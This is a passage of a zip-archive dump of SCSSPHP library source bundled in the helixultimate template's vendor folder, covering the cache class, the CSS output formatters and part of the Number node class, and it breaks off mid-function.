            self::$forceRefresh = $options['forceRefresh'];
        }

        self::checkCacheDir();
    }

    /**
     * Get the cached result of $operation on $what,
     * which is known as dependant from the content of $options
     *
     * @param string   $operation    parse, compile...
     * @param mixed    $what         content key (e.g., filename to be treated)
     * @param array    $options      any option that affect the operation result on the content
     * @param int|null $lastModified last modified timestamp
     *
     * @return mixed
     *
     * @throws \Exception
     */
    public function getCache($operation, $what, $options = [], $lastModified = null)
    {
        $fileCache = self::$cacheDir . self::cacheName($operation, $what, $options);

        if (
            ((self::$forceRefresh === false) || (self::$forceRefresh === 'once' &&
            isset(self::$refreshed[$fileCache]))) && file_exists($fileCache)
        ) {
            $cacheTime = filemtime($fileCache);

            if (
                (\is_null($lastModified) || $cacheTime > $lastModified) &&
                $cacheTime + self::$gcLifetime > time()
            ) {
                $c = file_get_contents($fileCache);
                $c = unserialize($c);

                if (\is_array($c) && isset($c['value'])) {
                    return $c['value'];
                }
            }
        }

        return null;
    }

    /**
     * Put in cache the result of $operation on $what,
     * which is known as dependant from the content of $options
     *
     * @param string $operation
     * @param mixed  $what
     * @param mixed  $value
     * @param array  $options
     *
     * @return void
     */
    public function setCache($operation, $what, $value, $options = [])
    {
        $fileCache = self::$cacheDir . self::cacheName($operation, $what, $options);

        $c = ['value' => $value];
        $c = serialize($c);

        file_put_contents($fileCache, $c);

        if (self::$forceRefresh === 'once') {
            self::$refreshed[$fileCache] = true;
        }
    }

    /**
     * Get the cache name for the caching of $operation on $what,
     * which is known as dependant from the content of $options
     *
     * @param string $operation
     * @param mixed  $what
     * @param array  $options
     *
     * @return string
     */
    private static function cacheName($operation, $what, $options = [])
    {
        $t = [
          'version' => self::CACHE_VERSION,
          'scssphpVersion' => Version::VERSION,
          'operation' => $operation,
          'what' => $what,
          'options' => $options
        ];

        $t = self::$prefix
          . sha1(json_encode($t))
          . ".$operation"
          . ".scsscache";

        return $t;
    }

    /**
     * Check that the cache dir exists and is writeable
     *
     * @return void
     *
     * @throws \Exception
     */
    public static function checkCacheDir()
    {
        self::$cacheDir = str_replace('\\', '/', self::$cacheDir);
        self::$cacheDir = rtrim(self::$cacheDir, '/') . '/';

        if (! is_dir(self::$cacheDir)) {
            throw new Exception('Cache directory doesn\'t exist: ' . self::$cacheDir);
        }

        if (! is_writable(self::$cacheDir)) {
            throw new Exception('Cache directory isn\'t writable: ' . self::$cacheDir);
        }
    }

    /**
     * Delete unused cached files
     *
     * @return void
     */
    public static function cleanCache()
    {
        static $clean = false;

        if ($clean || empty(self::$cacheDir)) {
            return;
        }

        $clean = true;

        // only remove files with extensions created by SCSSPHP Cache
        // css files removed based on the list files
        $removeTypes = ['scsscache' => 1];

        $files = scandir(self::$cacheDir);

        if (! $files) {
            return;
        }

        $checkTime = time() - self::$gcLifetime;

        foreach ($files as $file) {
            // don't delete if the file wasn't created with SCSSPHP Cache
            if (strpos($file, self::$prefix) !== 0) {
                continue;
            }

            $parts = explode('.', $file);
            $type = array_pop($parts);

            if (! isset($removeTypes[$type])) {
                continue;
            }

            $fullPath = self::$cacheDir . $file;
            $mtime = filemtime($fullPath);

            // don't delete if it's a relatively new file
            if ($mtime > $checkTime) {
                continue;
            }

            unlink($fullPath);
        }
    }
}
PK!�WE�ccAhelixultimate/vendor/scssphp/scssphp/src/Formatter/Compressed.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;

/**
 * Compressed formatter
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @internal
 */
class Compressed extends Formatter
{
    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        $this->indentLevel = 0;
        $this->indentChar = '  ';
        $this->break = '';
        $this->open = '{';
        $this->close = '}';
        $this->tagSeparator = ',';
        $this->assignSeparator = ':';
        $this->keepSemicolons = false;
    }

    /**
     * {@inheritdoc}
     */
    public function blockLines(OutputBlock $block)
    {
        $inner = $this->indentStr();

        $glue = $this->break . $inner;

        foreach ($block->lines as $index => $line) {
            if (substr($line, 0, 2) === '/*' && substr($line, 2, 1) !== '!') {
                unset($block->lines[$index]);
            } elseif (substr($line, 0, 3) === '/*!') {
                $block->lines[$index] = '/*' . substr($line, 3);
            }
        }

        $this->write($inner . implode($glue, $block->lines));

        if (! empty($block->children)) {
            $this->write($this->break);
        }
    }

    /**
     * Output block selectors
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     */
    protected function blockSelectors(OutputBlock $block)
    {
        assert(! empty($block->selectors));

        $inner = $this->indentStr();

        $this->write(
            $inner
            . implode(
                $this->tagSeparator,
                str_replace([' > ', ' + ', ' ~ '], ['>', '+', '~'], $block->selectors)
            )
            . $this->open . $this->break
        );
    }
}
PK!˝��>helixultimate/vendor/scssphp/scssphp/src/Formatter/Compact.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;

/**
 * Compact formatter
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @deprecated since 1.4.0. Use the Compressed formatter instead.
 *
 * @internal
 */
class Compact extends Formatter
{
    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        @trigger_error('The Compact formatter is deprecated since 1.4.0. Use the Compressed formatter instead.', E_USER_DEPRECATED);

        $this->indentLevel = 0;
        $this->indentChar = '';
        $this->break = '';
        $this->open = ' {';
        $this->close = "}\n\n";
        $this->tagSeparator = ',';
        $this->assignSeparator = ':';
        $this->keepSemicolons = true;
    }

    /**
     * {@inheritdoc}
     */
    public function indentStr()
    {
        return ' ';
    }
}
PK!�pt���?helixultimate/vendor/scssphp/scssphp/src/Formatter/Expanded.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;

/**
 * Expanded formatter
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @internal
 */
class Expanded extends Formatter
{
    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        $this->indentLevel = 0;
        $this->indentChar = '  ';
        $this->break = "\n";
        $this->open = ' {';
        $this->close = '}';
        $this->tagSeparator = ', ';
        $this->assignSeparator = ': ';
        $this->keepSemicolons = true;
    }

    /**
     * {@inheritdoc}
     */
    protected function indentStr()
    {
        return str_repeat($this->indentChar, $this->indentLevel);
    }

    /**
     * {@inheritdoc}
     */
    protected function blockLines(OutputBlock $block)
    {
        $inner = $this->indentStr();

        $glue = $this->break . $inner;

        foreach ($block->lines as $index => $line) {
            if (substr($line, 0, 2) === '/*') {
                $block->lines[$index] = preg_replace('/\r\n?|\n|\f/', $this->break, $line);
            }
        }

        $this->write($inner . implode($glue, $block->lines));

        if (empty($block->selectors) || ! empty($block->children)) {
            $this->write($this->break);
        }
    }
}
PK!8���llBhelixultimate/vendor/scssphp/scssphp/src/Formatter/OutputBlock.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

/**
 * Output block
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class OutputBlock
{
    /**
     * @var string
     */
    public $type;

    /**
     * @var integer
     */
    public $depth;

    /**
     * @var array|null
     */
    public $selectors;

    /**
     * @var string[]
     */
    public $lines;

    /**
     * @var OutputBlock[]
     */
    public $children;

    /**
     * @var OutputBlock|null
     */
    public $parent;

    /**
     * @var string|null
     */
    public $sourceName;

    /**
     * @var integer|null
     */
    public $sourceLine;

    /**
     * @var integer|null
     */
    public $sourceColumn;
}
PK!EQ#��?helixultimate/vendor/scssphp/scssphp/src/Formatter/Crunched.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;

/**
 * Crunched formatter
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @deprecated since 1.4.0. Use the Compressed formatter instead.
 *
 * @internal
 */
class Crunched extends Formatter
{
    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        @trigger_error('The Crunched formatter is deprecated since 1.4.0. Use the Compressed formatter instead.', E_USER_DEPRECATED);

        $this->indentLevel = 0;
        $this->indentChar = '  ';
        $this->break = '';
        $this->open = '{';
        $this->close = '}';
        $this->tagSeparator = ',';
        $this->assignSeparator = ':';
        $this->keepSemicolons = false;
    }

    /**
     * {@inheritdoc}
     */
    public function blockLines(OutputBlock $block)
    {
        $inner = $this->indentStr();

        $glue = $this->break . $inner;

        foreach ($block->lines as $index => $line) {
            if (substr($line, 0, 2) === '/*') {
                unset($block->lines[$index]);
            }
        }

        $this->write($inner . implode($glue, $block->lines));

        if (! empty($block->children)) {
            $this->write($this->break);
        }
    }

    /**
     * Output block selectors
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     */
    protected function blockSelectors(OutputBlock $block)
    {
        assert(! empty($block->selectors));

        $inner = $this->indentStr();

        $this->write(
            $inner
            . implode(
                $this->tagSeparator,
                str_replace([' > ', ' + ', ' ~ '], ['>', '+', '~'], $block->selectors)
            )
            . $this->open . $this->break
        );
    }
}
PK!�x[
[
<helixultimate/vendor/scssphp/scssphp/src/Formatter/Debug.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;

/**
 * Debug formatter
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @deprecated since 1.4.0.
 *
 * @internal
 */
class Debug extends Formatter
{
    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        @trigger_error('The Debug formatter is deprecated since 1.4.0.', E_USER_DEPRECATED);

        $this->indentLevel = 0;
        $this->indentChar = '';
        $this->break = "\n";
        $this->open = ' {';
        $this->close = ' }';
        $this->tagSeparator = ', ';
        $this->assignSeparator = ': ';
        $this->keepSemicolons = true;
    }

    /**
     * {@inheritdoc}
     */
    protected function indentStr()
    {
        return str_repeat('  ', $this->indentLevel);
    }

    /**
     * {@inheritdoc}
     */
    protected function blockLines(OutputBlock $block)
    {
        $indent = $this->indentStr();

        if (empty($block->lines)) {
            $this->write("{$indent}block->lines: []\n");

            return;
        }

        foreach ($block->lines as $index => $line) {
            $this->write("{$indent}block->lines[{$index}]: $line\n");
        }
    }

    /**
     * {@inheritdoc}
     */
    protected function blockSelectors(OutputBlock $block)
    {
        $indent = $this->indentStr();

        if (empty($block->selectors)) {
            $this->write("{$indent}block->selectors: []\n");

            return;
        }

        foreach ($block->selectors as $index => $selector) {
            $this->write("{$indent}block->selectors[{$index}]: $selector\n");
        }
    }

    /**
     * {@inheritdoc}
     */
    protected function blockChildren(OutputBlock $block)
    {
        $indent = $this->indentStr();

        if (empty($block->children)) {
            $this->write("{$indent}block->children: []\n");

            return;
        }

        $this->indentLevel++;

        foreach ($block->children as $i => $child) {
            $this->block($child);
        }

        $this->indentLevel--;
    }

    /**
     * {@inheritdoc}
     */
    protected function block(OutputBlock $block)
    {
        $indent = $this->indentStr();

        $this->write("{$indent}block->type: {$block->type}\n" .
             "{$indent}block->depth: {$block->depth}\n");

        $this->currentBlock = $block;

        $this->blockSelectors($block);
        $this->blockLines($block);
        $this->blockChildren($block);
    }
}
PK!E.�C��=helixultimate/vendor/scssphp/scssphp/src/Formatter/Nested.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Formatter;

use ScssPhp\ScssPhp\Formatter;
use ScssPhp\ScssPhp\Type;

/**
 * Nested formatter
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @deprecated since 1.4.0. Use the Expanded formatter instead.
 *
 * @internal
 */
class Nested extends Formatter
{
    /**
     * @var integer
     */
    private $depth;

    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        @trigger_error('The Nested formatter is deprecated since 1.4.0. Use the Expanded formatter instead.', E_USER_DEPRECATED);

        $this->indentLevel = 0;
        $this->indentChar = '  ';
        $this->break = "\n";
        $this->open = ' {';
        $this->close = ' }';
        $this->tagSeparator = ', ';
        $this->assignSeparator = ': ';
        $this->keepSemicolons = true;
    }

    /**
     * {@inheritdoc}
     */
    protected function indentStr()
    {
        $n = $this->depth - 1;

        return str_repeat($this->indentChar, max($this->indentLevel + $n, 0));
    }

    /**
     * {@inheritdoc}
     */
    protected function blockLines(OutputBlock $block)
    {
        $inner = $this->indentStr();
        $glue  = $this->break . $inner;

        foreach ($block->lines as $index => $line) {
            if (substr($line, 0, 2) === '/*') {
                $block->lines[$index] = preg_replace('/\r\n?|\n|\f/', $this->break, $line);
            }
        }

        $this->write($inner . implode($glue, $block->lines));
    }

    /**
     * {@inheritdoc}
     */
    protected function block(OutputBlock $block)
    {
        static $depths;
        static $downLevel;
        static $closeBlock;
        static $previousEmpty;
        static $previousHasSelector;

        if ($block->type === 'root') {
            $depths = [ 0 ];
            $downLevel = '';
            $closeBlock = '';
            $this->depth = 0;
            $previousEmpty = false;
            $previousHasSelector = false;
        }

        $isMediaOrDirective = \in_array($block->type, [Type::T_DIRECTIVE, Type::T_MEDIA]);
        $isSupport = ($block->type === Type::T_DIRECTIVE
            && $block->selectors && strpos(implode('', $block->selectors), '@supports') !== false);

        while ($block->depth < end($depths) || ($block->depth == 1 && end($depths) == 1)) {
            array_pop($depths);
            $this->depth--;

            if (
                ! $this->depth && ($block->depth <= 1 || (! $this->indentLevel && $block->type === Type::T_COMMENT)) &&
                (($block->selectors && ! $isMediaOrDirective) || $previousHasSelector)
            ) {
                $downLevel = $this->break;
            }

            if (empty($block->lines) && empty($block->children)) {
                $previousEmpty = true;
            }
        }

        if (empty($block->lines) && empty($block->children)) {
            return;
        }

        $this->currentBlock = $block;

        if (! empty($block->lines) || (! empty($block->children) && ($this->depth < 1 || $isSupport))) {
            if ($block->depth > end($depths)) {
                if (! $previousEmpty || $this->depth < 1) {
                    $this->depth++;

                    $depths[] = $block->depth;
                } else {
                    // keep the current depth unchanged but take the block depth as a new reference for following blocks
                    array_pop($depths);

                    $depths[] = $block->depth;
                }
            }
        }

        $previousEmpty = ($block->type === Type::T_COMMENT);
        $previousHasSelector = false;

        if (! empty($block->selectors)) {
            if ($closeBlock) {
                $this->write($closeBlock);
                $closeBlock = '';
            }

            if ($downLevel) {
                $this->write($downLevel);
                $downLevel = '';
            }

            $this->blockSelectors($block);

            $this->indentLevel++;
        }

        if (! empty($block->lines)) {
            if ($closeBlock) {
                $this->write($closeBlock);
                $closeBlock = '';
            }

            if ($downLevel) {
                $this->write($downLevel);
                $downLevel = '';
            }

            $this->blockLines($block);

            $closeBlock = $this->break;
        }

        if (! empty($block->children)) {
            if ($this->depth > 0 && ($isMediaOrDirective || ! $this->hasFlatChild($block))) {
                array_pop($depths);

                $this->depth--;
                $this->blockChildren($block);
                $this->depth++;

                $depths[] = $block->depth;
            } else {
                $this->blockChildren($block);
            }
        }

        // reclear to not be spoiled by children if T_DIRECTIVE
        if ($block->type === Type::T_DIRECTIVE) {
            $previousHasSelector = false;
        }

        if (! empty($block->selectors)) {
            $this->indentLevel--;

            if (! $this->keepSemicolons) {
                $this->strippedSemicolon = '';
            }

            $this->write($this->close);

            $closeBlock = $this->break;

            if ($this->depth > 1 && ! empty($block->children)) {
                array_pop($depths);
                $this->depth--;
            }

            if (! $isMediaOrDirective) {
                $previousHasSelector = true;
            }
        }

        if ($block->type === 'root') {
            $this->write($this->break);
        }
    }

    /**
     * Block has flat child
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return boolean
     */
    private function hasFlatChild($block)
    {
        foreach ($block->children as $child) {
            if (empty($child->selectors)) {
                return true;
            }
        }

        return false;
    }
}
PK!�_��N N 6helixultimate/vendor/scssphp/scssphp/src/Formatter.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use ScssPhp\ScssPhp\Formatter\OutputBlock;
use ScssPhp\ScssPhp\SourceMap\SourceMapGenerator;

/**
 * Base formatter
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @internal
 */
abstract class Formatter
{
    /**
     * @var integer
     */
    public $indentLevel;

    /**
     * @var string
     */
    public $indentChar;

    /**
     * @var string
     */
    public $break;

    /**
     * @var string
     */
    public $open;

    /**
     * @var string
     */
    public $close;

    /**
     * @var string
     */
    public $tagSeparator;

    /**
     * @var string
     */
    public $assignSeparator;

    /**
     * @var boolean
     */
    public $keepSemicolons;

    /**
     * @var \ScssPhp\ScssPhp\Formatter\OutputBlock
     */
    protected $currentBlock;

    /**
     * @var integer
     */
    protected $currentLine;

    /**
     * @var integer
     */
    protected $currentColumn;

    /**
     * @var \ScssPhp\ScssPhp\SourceMap\SourceMapGenerator|null
     */
    protected $sourceMapGenerator;

    /**
     * @var string
     */
    protected $strippedSemicolon;

    /**
     * Initialize formatter
     *
     * @api
     */
    abstract public function __construct();

    /**
     * Return indentation (whitespace)
     *
     * @return string
     */
    protected function indentStr()
    {
        return '';
    }

    /**
     * Return property assignment
     *
     * @api
     *
     * @param string $name
     * @param mixed  $value
     *
     * @return string
     */
    public function property($name, $value)
    {
        return rtrim($name) . $this->assignSeparator . $value . ';';
    }

    /**
     * Return custom property assignment
     * differs in that you have to keep spaces in the value as is
     *
     * @api
     *
     * @param string $name
     * @param mixed  $value
     *
     * @return string
     */
    public function customProperty($name, $value)
    {
        return rtrim($name) . trim($this->assignSeparator) . $value . ';';
    }

    /**
     * Output lines inside a block
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return void
     */
    protected function blockLines(OutputBlock $block)
    {
        $inner = $this->indentStr();
        $glue  = $this->break . $inner;

        $this->write($inner . implode($glue, $block->lines));

        if (! empty($block->children)) {
            $this->write($this->break);
        }
    }

    /**
     * Output block selectors
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return void
     */
    protected function blockSelectors(OutputBlock $block)
    {
        assert(! empty($block->selectors));

        $inner = $this->indentStr();

        $this->write($inner
            . implode($this->tagSeparator, $block->selectors)
            . $this->open . $this->break);
    }

    /**
     * Output block children
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return void
     */
    protected function blockChildren(OutputBlock $block)
    {
        foreach ($block->children as $child) {
            $this->block($child);
        }
    }

    /**
     * Output non-empty block
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return void
     */
    protected function block(OutputBlock $block)
    {
        if (empty($block->lines) && empty($block->children)) {
            return;
        }

        $this->currentBlock = $block;

        $pre = $this->indentStr();

        if (! empty($block->selectors)) {
            $this->blockSelectors($block);

            $this->indentLevel++;
        }

        if (! empty($block->lines)) {
            $this->blockLines($block);
        }

        if (! empty($block->children)) {
            $this->blockChildren($block);
        }

        if (! empty($block->selectors)) {
            $this->indentLevel--;

            if (! $this->keepSemicolons) {
                $this->strippedSemicolon = '';
            }

            if (empty($block->children)) {
                $this->write($this->break);
            }

            $this->write($pre . $this->close . $this->break);
        }
    }

    /**
     * Test and clean safely empty children
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     *
     * @return boolean
     */
    protected function testEmptyChildren($block)
    {
        $isEmpty = empty($block->lines);

        if ($block->children) {
            foreach ($block->children as $k => &$child) {
                if (! $this->testEmptyChildren($child)) {
                    $isEmpty = false;
                    continue;
                }

                if ($child->type === Type::T_MEDIA || $child->type === Type::T_DIRECTIVE) {
                    $child->children = [];
                    $child->selectors = null;
                }
            }
        }

        return $isEmpty;
    }

    /**
     * Entry point to formatting a block
     *
     * @api
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock             $block              An abstract syntax tree
     * @param \ScssPhp\ScssPhp\SourceMap\SourceMapGenerator|null $sourceMapGenerator Optional source map generator
     *
     * @return string
     */
    public function format(OutputBlock $block, SourceMapGenerator $sourceMapGenerator = null)
    {
        $this->sourceMapGenerator = null;

        if ($sourceMapGenerator) {
            $this->currentLine        = 1;
            $this->currentColumn      = 0;
            $this->sourceMapGenerator = $sourceMapGenerator;
        }

        $this->testEmptyChildren($block);

        ob_start();

        $this->block($block);

        $out = ob_get_clean();

        return $out;
    }

    /**
     * Output content
     *
     * @param string $str
     *
     * @return void
     */
    protected function write($str)
    {
        if (! empty($this->strippedSemicolon)) {
            echo $this->strippedSemicolon;

            $this->strippedSemicolon = '';
        }

        /*
         * Maybe Strip semi-colon appended by property(); it's a separator, not a terminator
         * will be striped for real before a closing, otherwise displayed unchanged starting the next write
         */
        if (
            ! $this->keepSemicolons &&
            $str &&
            (strpos($str, ';') !== false) &&
            (substr($str, -1) === ';')
        ) {
            $str = substr($str, 0, -1);

            $this->strippedSemicolon = ';';
        }

        if ($this->sourceMapGenerator) {
            $lines = explode("\n", $str);
            $lastLine = array_pop($lines);

            foreach ($lines as $line) {
                // If the written line starts is empty, adding a mapping would add it for
                // a non-existent column as we are at the end of the line
                if ($line !== '') {
                    $this->sourceMapGenerator->addMapping(
                        $this->currentLine,
                        $this->currentColumn,
                        $this->currentBlock->sourceLine,
                        //columns from parser are off by one
                        $this->currentBlock->sourceColumn > 0 ? $this->currentBlock->sourceColumn - 1 : 0,
                        $this->currentBlock->sourceName
                    );
                }

                $this->currentLine++;
                $this->currentColumn = 0;
            }

            if ($lastLine !== '') {
                $this->sourceMapGenerator->addMapping(
                    $this->currentLine,
                    $this->currentColumn,
                    $this->currentBlock->sourceLine,
                    //columns from parser are off by one
                    $this->currentBlock->sourceColumn > 0 ? $this->currentBlock->sourceColumn - 1 : 0,
                    $this->currentBlock->sourceName
                );
            }

            $this->currentColumn += \strlen($lastLine);
        }

        echo $str;
    }
}
PK!�叻�R�R8helixultimate/vendor/scssphp/scssphp/src/Node/Number.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Node;

use ScssPhp\ScssPhp\Base\Range;
use ScssPhp\ScssPhp\Compiler;
use ScssPhp\ScssPhp\Exception\RangeException;
use ScssPhp\ScssPhp\Exception\SassScriptException;
use ScssPhp\ScssPhp\Node;
use ScssPhp\ScssPhp\Type;
use ScssPhp\ScssPhp\Util;

/**
 * Dimension + optional units
 *
 * {@internal
 *     This is a work-in-progress.
 *
 *     The \ArrayAccess interface is temporary until the migration is complete.
 * }}
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @template-implements \ArrayAccess<int, mixed>
 */
class Number extends Node implements \ArrayAccess
{
    const PRECISION = 10;

    /**
     * @var integer
     * @deprecated use {Number::PRECISION} instead to read the precision. Configuring it is not supported anymore.
     */
    public static $precision = self::PRECISION;

    /**
     * @see http://www.w3.org/TR/2012/WD-css3-values-20120308/
     *
     * @var array
     * @phpstan-var array<string, array<string, float|int>>
     */
    protected static $unitTable = [
        'in' => [
            'in' => 1,
            'pc' => 6,
            'pt' => 72,
            'px' => 96,
            'cm' => 2.54,
            'mm' => 25.4,
            'q'  => 101.6,
        ],
        'turn' => [
            'deg'  => 360,
            'grad' => 400,
            'rad'  => 6.28318530717958647692528676, // 2 * M_PI
            'turn' => 1,
        ],
        's' => [
            's'  => 1,
            'ms' => 1000,
        ],
        'Hz' => [
            'Hz'  => 1,
            'kHz' => 0.001,
        ],
        'dpi' => [
            'dpi'  => 1,
            'dpcm' => 1 / 2.54,
            'dppx' => 1 / 96,
        ],
    ];

    /**
     * @var integer|float
     */
    private $dimension;

    /**
     * @var string[]
     * @phpstan-var list<string>
     */
    private $numeratorUnits;

    /**
     * @var string[]
     * @phpstan-var list<string>
     */
    private $denominatorUnits;

    /**
     * Initialize number
     *
     * @param integer|float   $dimension
     * @param string[]|string $numeratorUnits
     * @param string[]        $denominatorUnits
     *
     * @phpstan-param list<string>|string $numeratorUnits
     * @phpstan-param list<string>        $denominatorUnits
     */
    public function __construct($dimension, $numeratorUnits, array $denominatorUnits = [])
    {
        if (is_string($numeratorUnits)) {
            $numeratorUnits = $numeratorUnits ? [$numeratorUnits] : [];
        } elseif (isset($numeratorUnits['numerator_units'], $numeratorUnits['denominator_units'])) {
            // TODO get rid of this once `$number[2]` is not used anymore
            $denominatorUnits = $numeratorUnits['denominator_units'];
            $numeratorUnits = $numeratorUnits['numerator_units'];
        }

        $this->dimension = $dimension;
        $this->numeratorUnits = $numeratorUnits;
        $this->denominatorUnits = $denominatorUnits;
    }

    /**
     * @return float|int
     */
    public function getDimension()
    {
        return $this->dimension;
    }

    /**
     * @return string[]
     */
    public function getNumeratorUnits()
    {
        return $this->numeratorUnits;
    }

    /**
     * @return string[]
     */
    public function getDenominatorUnits()
    {
        return $this->denominatorUnits;
    }

    /**
     * {@inheritdoc}
     */
    public function offsetExists($offset)
    {
        if ($offset === -3) {
            return ! \is_null($this->sourceColumn);
        }

        if ($offset === -2) {
            return ! \is_null($this->sourceLine);
        }

        if (
            $offset === -1 ||
            $offset === 0 ||
            $offset === 1 ||
            $offset === 2
        ) {
            return true;
        }

        return false;
    }

    /**
     * {@inheritdoc}
     */
    public function offsetGet($offset)
    {
        switch ($offset) {
            case -3:
                return $this->sourceColumn;

            case -2:
                return $this->sourceLine;

            case -1:
                return $this->sourceIndex;

            case 0:
                return Type::T_NUMBER;

            case 1:
                return $this->dimension;

            case 2:
                return array('numerator_units' => $this->numeratorUnits, 'denominator_units' => $this->denominatorUnits);
        }
    }

    /**
     * {@inheritdoc}
     */
    public function offsetSet($offset, $value)
    {
        throw new \BadMethodCallException('Number is immutable');
    }

    /**
     * {@inheritdoc}
     */
    public function offsetUnset($offset)
    {
        throw new \BadMethodCallException('Number is immutable');
    }

    /**
     * Returns true if the number is unitless
     *
     * @return boolean
     */
    public function unitless()
    {
        return \count($this->numeratorUnits) === 0 && \count($this->denominatorUnits) === 0;
    }

    /**
     * Checks whether the number has exactly this unit
     *
     * @param string $unit
     *
     * @return bool
     */
    public function hasUnit($unit)
    {
        return \count($this->numeratorUnits) === 1 && \count($this->denominatorUnits) === 0 && $this->numeratorUnits[0] === $unit;
    }

    /**
     * Returns unit(s) as the product of numerator units divided by the product of denominator units
     *
     * @return string
     */
    public function unitStr()
    {
        if ($this->unitless()) {
            return '';
        }

        return self::getUnitString($this->numeratorUnits, $this->denominatorUnits);
    }

    /**
     * @param float|int $min
     * @param float|int $max
     * @param string|null $name
     *
     * @return float|int
     * @throws SassScriptException
     */
    public function valueInRange($min, $max, $name = null)
    {
        try {
            return Util::checkRange('', new Range($min, $max), $this);
        } catch (RangeException $e) {
            throw SassScriptException::forArgument(sprintf('Expected %s to be within %s%s and %s%3$s', $this, $min, $this->unitStr(), $max), $name);
        }
    }

    /**
     * @param string|null $varName
     *
     * @return void
     */
    public function assertNoUnits($varName = null)
    {
        if ($this->unitless()) {
            return;
        }

        throw SassScriptException::forArgument(sprintf('Expected %s to have no units.', $this), $varName);
    }

    /**
     * @param string      $unit
     * @param string|null $varName
     *
     * @return void
     */
    public function assertUnit($unit, $varName = null)
    {
        if ($this->hasUnit($unit)) {
            return;
        }

        throw SassScriptException::forArgument(sprintf('Expected %s to have unit "%s".', $this, $unit), $varName);
    }

    /**
     * @param Number $other
     *
     * @return void
     */
    public function assertSameUnitOrUnitless(Number $other)
    {
        if ($other->unitless()) {
            return;
        }

        if ($this->numeratorUnits === $other->numeratorUnits && $this->denominatorUnits === $other->denominatorUnits) {
            return;
        }

        throw new SassScriptException(sprintf(
            'Incompatible units %s and %s.',
            self::getUnitString($this->numeratorUnits, $this->denominatorUnits),
            self::getUnitString($other->numeratorUnits, $other->denominatorUnits)
        ));
    }

    /**
     * Returns a copy of this number, converted to the units represented by $newNumeratorUnits and $newDenominatorUnits.
     *
     * This does not throw an error if this number is unitless and
     * $newNumeratorUnits/$newDenominatorUnits are not empty, or vice versa. Instead,
     * it treats all unitless numbers as convertible to and from all units without
     * changing the value.
     *
     * @param string[] $newNumeratorUnits
     * @param string[] $newDenominatorUnits
     *
     * @return Number
     *
     * @phpstan-param list<string> $newNumeratorUnits
     * @phpstan-param list<string> $newDenominatorUnits
     *
     * @throws SassScriptException if this number's units are not compatible with $newNumeratorUnits and $newDenominatorUnits
     */
    public function coerce(array $newNumeratorUnits, array $newDenominatorUnits)
    {
        return new Number($this->valueInUnits($newNumeratorUnits, $newDenominatorUnits), $newNumeratorUnits, $newDenominatorUnits);
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function isComparableTo(Number $other)
    {
        if ($this->unitless() || $other->unitless()) {
            return true;
        }

        try {
            $this->greaterThan($other);
            return true;
